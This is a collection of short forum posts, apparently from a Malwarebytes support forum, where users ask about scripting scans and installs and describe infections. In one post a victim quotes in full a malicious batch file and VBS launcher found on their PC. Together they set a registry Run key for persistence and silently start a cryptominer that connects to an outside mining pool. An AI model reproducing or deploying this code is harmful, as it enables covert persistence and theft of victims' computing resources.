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  1. I use Malwarebytes Endpoint Security for my clients and occasionally, a home version of Malwarebytes gets installed. Will the home version run uninstall frrom a command line or script?
  2. I am 100% sure I have Goppel on my system. Scan after scan, quarantine/delete will not remove it from my CPU. I have enclosed a recent Malwarebytes Scan Report to hopefully be used in making a healing-script. I have tried everything short of a boot-image from another computer try and start fresh.... If I can avoid a wipe, that would be great. Thank you for any assistance! Use_This_Goppel_Sux.txt
  3. after doing some research i ended up on this conclusion: some companies using CoinHive to mine in your browser without your knowledge, how i knew it ? https://github.com/AliasIO/Wappalyzer/issues/1807 i have an addon called WAPPALYZER it shows what tech your site is made, i noticed something is confusing all websites have CoinHive plugin, EVEN GOOGLE i was WHAT! no way its a bug i went there to GITHUB i opened an issue someone told me maybe iam infected somehow with it, i was hmm that seems logic on my computer i have those antiviruses:(both are paid licenses) Malwarebyte ESET Smart Security iam reporting that neither anyone noticed it but this is a big malware issue they are using COINHIVE API to USE your CPU to MINE! i scanned many times i disabled all my plugins nothing!!!
  4. Folks, Are there any command line switches to script up Malwarebytes Anti-Malware managed client downloaded through the Management console? I would like to silently install and schedule scans through it. Thanks!
  5. Hello, I purchased the enterprise version fo Malwarebytes and I would like to know why when I send this script to my computers it starts asking for activation when I start the program? The registration key and ID are embedded on the script. Any suggestions?
  6. Hello, I need a help with writing a script that will run and scan Malwarebytes. I wrote following script: "C:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe" -scannow But this was only open the Malwarebytes but not scanning. Can someone help for it?
  7. Hello, Whenever I open any site, sometimes I see unknown images replacing the original image on the website. They are not ads, & can't be clicked. Just random images of people, cartoons etc. When I refresh the page, the fake images are gone. This problem was temporarily resolved when I installed Windows 10 (with Format my C:) & I installed malwarebytes and bitdefender. Malwarebytes detected and removed some infections. But when I removed malwarebytes temporarily due to an error, Fake images started appearing again on the websites. I am using Opera Browser with no Ad ons, extensions etc & I regularly clean the temporary files using Ccleaner utility. I have bitdefender and Malwarebytes installed. Where is the problem, please help. I've been trying to solve this for the last 3 months. Regards
  8. Can someone help me with a annoying problem that i have? It was just meant to be an autohotkey script, it worked but after i deleted it, it keeps opening again some help please? Thanks.
  9. Hello All, My system was really slow one morning. Task manager showed that Internet Download Manager was running even though I never install it. I found it's location in "users/(my account)/appdata/roaming/adobe/flashplayer/purecache". It was taking quite a bit of the CPU. A search on the net showed that it was probably some kind of malware script that was running. It started itself every time I booted up in the morning through an entry in the registry. I don't know how long I've had it on my system. The bat file that started it was: @echo off %windir%\system32\reg.exe add HKCU\software\microsoft\windows\currentversion\run /v AdobeFlashPlayer /d "wscript \"%appdata%\Adobe\Flash Player\PureCache\IDMan.vbs\" \"%appdata%\Adobe\Flash Player\PureCache\IDMan.bat\"" /f start /b /normal "a" "%appdata%\Adobe\Flash Player\PureCache\IDMan.exe" -o stratum+tcp://ns1.eaglecloud.su:9327 -u LZA8F5DgmTCTbdUR1AXpnvuVVFEXbKxcNH -p x The vbs script file in the same folder as the bat file was: CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False I have since removed all of the entries from my system, but am concerned about what may have been happening, as I don't know how long this has been on my system. I know this is a trojan of some kind. But could someone please interpret the bat and script files for me and what information these are sending to ns1.eaglecould.su. Thank you
  10. Hi! I'm new to the forums but have been using Malwarebytes for some time now. I have a powershell script that I use to run automated scans of remote machines. It also has the ability to remove whatever it finds. I'm using MBAMAPI.EXE at the core of the script. Now this may be a long shot, but are there any switches that I can use with MBAMAPI that will allow me to remove PUPs as well? I know there has been a change (probably not so recent at this point) and Malwarebytes as a whole is taking a more agressive stance against PUPs, which I'm on board for. I just can't seem to find a way to remotely remove them, which means things just keep coming back. Asking my end users to do this themselves is pretty much out of the question (Unix to Windows users here, GUI is new and foreign). If there isn't a way to have MBAMAPI.EXE do this, is there possibly another approach or has anyone else tackled this same issue? Thanks in advance for any help/insight! C.Reeves
  11. Hi, I have never had a virus before on my computer. Now I got my first virus though. The virus is opening a a webpage a lot: http://reader24h.com/architecture-hide/232-puerta-de-europa--philip-johnson-a-john-burgee%20-%20#_methods=onPlusOne%2C_ready%2C_close%2C_open%2C_resizeMe%2C_renderstart%2Concircled%2Cdrefresh%2Cerefresh%2Conload&id=I0_1389575397537&parent=http%3A%2F%2Fwww.travelandtransitions.com&pfname=&rpctoken=47397316 It opens about 20 tabs of this page in chrome (my current and default browser) it opens them as new tabs NOT as new windows. Also google chrome i using a lot of ram. I think it is maxed out at 1.5GB because of this
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